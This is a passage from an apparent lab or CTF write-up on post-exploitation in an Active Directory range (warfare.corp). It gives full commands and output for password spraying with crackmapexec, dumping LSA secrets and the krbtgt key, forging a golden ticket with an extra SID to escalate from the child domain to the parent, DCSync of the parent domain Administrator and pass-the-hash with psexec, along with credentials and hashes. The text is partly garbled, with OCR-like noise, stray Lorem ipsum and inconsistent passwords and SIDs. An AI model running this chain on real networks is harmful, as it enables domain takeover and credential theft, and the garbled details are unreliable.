5. Post-Exploitation

Initial Access of the newly accessible network

"#nmap -v -sn 192.168.98.0/24 2>/dev/null

After deep search:

```
Nmap scan report for child.warfare.corp (192.168.98.120)
Host is up (0.13s latency).
Nmap scan report for warfare.corp (192.168.98.2)
Host is up (0.29s latency).
```

So now we know what we're targeting: with this we narrowed down the list to .2 and .120 hosts to spray in a next stage -> [targets.txt]

Remember this credential we found earlier in Firefox files:

http://192.168.98.30/admin/index.php?user=john@child.warfare.corp&pass=User1@#\$%6 Creds:

- Username: john
- Password: User1@#\$%6
- --> Adding .30 host to the list -> [targets.txt]

Since from the previous nmap scan we found windows server hosts online with TCP/445 (SMB) open.

Windows + SMB open + creds = Password Spraying ==> CME

Lesson Learned:

So, the combination of:

- Windows targets
- SMB ports open
- Fresh creds in hand
- ⇒ makes **SMB** the first logical protocol to try.

Let's spray the discovered live hosts in the network using crackmapexec CME toolkit: that will tell us if the creds work, without crashing services.

``# vim targets.txt

```
cat targets.txt
192.168.98.2
192.168.98.30
192.168.98.120

Praesent dap bus, negue id c
```

""#crackmapexec --verbose smb targets.txt -u john -p 'User1@#\$%6'

```
DEBUS PLANT STATE OF THE PROJECT OF
```

Perfect! User **"John"** is **Local Administrator** on host **MGMT** (192.168.98.30): This enables us to query the Security Account Manager (SAM) and LSA secrets remotely = extract creds that belong to other users who logged into that machine.

So, Who else has touched this box?

Now, let's dump the LSA (Authentication Handler & Secrets Manager) process using crackmapexec toolkit, it utilizes impacket's module secretsdump. CME's --lsa is just a wrapper for Impacket's secretsdump.py (We don't need to drop Mimikatz, Nanodump, or an agent. CME uses legit Windows APIs over SMB/RPC to query secrets)

``#crackmapexec --verbose smb 192.168.98.30 -u john -p 'User1@#\$%6' --Isa

```
DEBUG Looking into NL$1
SMB 192.168.98.30 445 MGMT CHILD\WARFARE.CORP/john:$DCC2$10240#john#9855312d42ee254a7334845613120e61: (2025-01-17 14:47:56+00:00)
DEBUG:impacket:Looking into NL$2
DEBUG Looking into NL$3
DEBUG:impacket:Looking into NL$3
DEBUG:impacket:Looking into NL$4
DEBUG:impacket:Looking into NL$5
DEBUG:impacket:Looking into NL$5
DEBUG:impacket:Looking into NL$5
DEBUG:impacket:Looking into NL$6
DEBUG:impacket:Looking into NL$7
DEBUG Looking into NL$8
DEBUG:impacket:Looking into NL$8
DEBUG Looking into NL$8
DEBUG Looking into NL$9
DEBUG Limpacket:Looking into NL$10
DEBUG Looking into NL$2
DEBUG Looking into NL$4
DEBUG Looking into NL$4
DEBUG Looking into NL$5
DEBUG Looking into NL$4
DEBUG Looking into NL$4
DEBUG Looking into NL$5
DEBUG Looking into NL$6
DE
```

Here are the results we're presented with:

*) Valid Data

- Username: john

- Password: User1@#\$%6

Domains:

- child.warfare.corp

- warfare.corp

Host:

- 192.168.98.30 (Hostname: MGMT)

*) Dumped Cached Logon Hashes

CHILD.WARFARE.CORP/john:DCC2\$10240#john#9855312d42ee254a7334845613120e61 CHILD.WARFARE.CORP/corpmngr:DCC2\$10240#corpmngr#7fd50bbab99e8ea7ae9c1899f6dea 7c6

1) Machine Account Hashes (CHILD\MGMT\$)

aes256-cts-hmac-sha1-96:

344c70047ade222c4ab35694d4e3e36de556692f02ec32fa54d3160f36246eec

aes128-cts-hmac-sha1-96; aa5b3d84614911fe611eafbda613baaf

des-cbc-md5: 6402e0c20b89d386

NTLM: aad3b435b51404eeaad3b435b51404ee:0f5fe480dd7eaf1d59a401a4f268b563

2) DPAPI Secrets (Data Protection API keys)

dpapi_machinekey: 0x34e3cc87e11d51028ffb38c60b0afe35d197627d dpapi_userkey: 0xb890e07ba0d31e31c758d305c2a29e1b4ea813a5

3) NLKM:

df885acfa168074cc84de093af76093e726cd092e9ef9c72d6fe59c6cbb70382 d896c9569b67dcdac871dd77b96916c8c1187d40c118474c481ddf62a7c04682

4) *AND we got the clear-text credentials of the user "corpmngr"

Creds: (MGMT Machine)
- Username: corpmngr
- Password: User4&&

Again, let's spray the credentials in the network using the new creds (easiest approach in this case)

``#crackmapexec --verbose smb targets.txt -u corpmngr -p 'User4&&'

```
SMB 192.168.98.30 445 MGMT [*] Windows 10 / Server 2019 Build 17763 x64 (name:MGMT) (domain:child.warfare.corp) (signing:False) (SMB 192.168.98.2 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:warfare.corp) (signing:True) (SMBv1:False) (SMB 192.168.98.120 445 CDC [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:child.warfare.corp) (signing:True) (SMBv1:False) (S
```

Running this gives us credentials of other users who have authenticated on that host. In this lab, it returned:

--> Bingo! We got working creds as local **Administrator** in the **CDC** machine at **192.168.98.120** Creds: (CDC Machine)

Username: corpmngrPassword: User4&&

Since we know machine name & the target domains, let's update our /etc/hosts file.

""#vim /etc/hosts

```
192.168.98.2 warfare.corp dc01.warfare.corp
192.168.98.120 child.warfare.corp cdc.child.warfare.corp
```

```
cat /etc/hosts

127.0.0.1 localhost

127.0.0.1 localhost Attacker

# The following lines are desirable for IPv6 capable hosts

::1 localhost ip6-localhost ip6-loopback

ff02::1 ip6-allnodes

ff02::2 ip6-allrouters

192.168.98.2 warfare.corp dc01.warfare.corp

192.168.98.120 child.warfare.corp cdc.child.warfare.corp
```

Since we are local administrator in the Child DC (.120), let's extract the hash of **KRB TGT** (Ticket Granting Ticket) account using impacket secretsdump script. We will forge a **KRB TGS** (Golden Ticket) to compromise the Parent DC (.2)

``#impacket-secretsdump -debug child/corpmngr:'User4&&'@cdc.child.warfare.corp -just-dc-user 'child\krbtgt'

We will now perform SID Extraction using lookupsid python script.

96:ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2

krbtgt:aes256-cts-hmac-sha1-

```
Child Grabbing:
# impacket-lookupsid child/corpmngr:'User4&*&*'@child.warfare.corp

Parent Grabbing:
# impacket-lookupsid child/corpmngr:'User4&*&*'@warfare.corp
```

Child SID Found:

Parent SID Found:

```
impacket-lookupsid child/corpmngr:'User4&*&*'@warfare.corp
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[*] Brute forcing SIDs at warfare.corp
[*] StringBinding ncacn_np:warfare.corp[\pipe\lsarpc]
[*] Domain SID is: S-1-5-21-3375883379-808943238-3239386119 Parent SID
```

For now, here's what we have:

```
krbtgt aes256 Hash
ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2
Parent SID : S-1-5-21-3375883379-808943238-3239386119
Child SID : S-1-5-21-3754860944-83624914-1883974761
```

We will forge golden ticket using ticketer as follows and then set the ccache file to the environment variable :

```
# impacket-ticketer -domain child.warfare.corp -aesKey
ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da11152611b2 -domain-sid S-1-
5-21-3754860944-83624914-1883974761 -groups 516 -user-id 1106 -extra-sid S-1-5-21-
3375883379-808943238-3239386119-516,S-1-5-9 'corpmngr' # export
```

KRB5CCNAME=corpmngr.ccache

```
A B home/kali/Desktop

— impacket-ticketer -domain child.warfare.corp -aesKey ad8c273289e4c511b4363c43c08f9a5aff06f8fe002c10ab1031da1152611b2 -domain-sid 5-1-5-21-3754860944-8362 4914-1883974761 -groups 516 -user-id 1106 -extra-sid 5-1-5-21-3375883379-808943238-3239386119-516,5-1-5-9 'corpmngr'

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[★] Creating basic skeleton ticket and PAC Infos

[★] Customizing ticket for child.warfare.corp/corpmngr

[★] PAC_CLIENT_INFO_TYPE

[★] EncTicketPart

[★] EncAsRepPart

[★] PAC_PRIVSVR_CHECKSUM

[★] PAC_PRIVSVR_CHECKSUM


[★] EncAsRepPart

[★] Saving ticket in corpmngr.ccache
```

Request Service Ticket using the ccache file & export:

Parent Domain Controller Takeover:

``# impacket-secretsdump -k -no-pass dc01.warfare.corp -just-dc-user 'warfare\Administrator' - debug



- [+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
- [+] Using Kerberos Cache: corpmngr@CIFS_dc01.warfare.corp@WARFARE.CORP.ccache
- [+] Domain retrieved from CCache: CHILD.WARFARE.CORP
- [+] Returning cached credential for CIFS/DC01.WARFARE.CORP@WARFARE.CORP
- [+] Using TGS from cache
- [+] Changing sname from CIFS/dc01.warfare.corp@WARFARE.CORP to
- CIFS/DC01.WARFARE.CORP@CHILD.WARFARE.CORP and hoping for the best
- [+] Username retrieved from CCache: corpmngr
- [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
- [*] Using the DRSUAPI method to get NTDS.DIT secrets
- [+] Calling DRSCrackNames for warfare\Administrator
- [+] Calling DRSGetNCChanges for {17446816-c072-445e-ac9b-c0e28630bed6}
- [+] Entering NTDSHashes.__decryptHash
- [+] Decrypting hash for user: CN=Administrator,CN=Users,DC=warfare,DC=corp Administrator:500:aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283:::
- [+] Leaving NTDSHashes.__decryptHash

```
[+] Entering NTDSHashes.__decryptSupplementalInfo
[+] Leaving NTDSHashes.__decryptSupplementalInfo
[+] Finished processing and printing user's hashes, now printing supplemental information
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-
96:b8844cc6622c448c9b9f657e7a67ad7f9f26fa2c1c7520b7f1ad28389c6fdb91
Administrator:aes128-cts-hmac-sha1-96:cea9408d32669cad4f2938252928b38d
Administrator:des-cbc-md5:614ce65740c8b0a8
[*] Cleaning up...
```

Let's access with Administrator credentials the **Parent DC** (dc01)

"# impacket-psexec -debug 'warfare/<u>Administrator@dc01.warfare.corp</u>' -hashes aad3b435b51404eeaad3b435b51404ee:b2ab0552928c8399da5161a9eb7fd283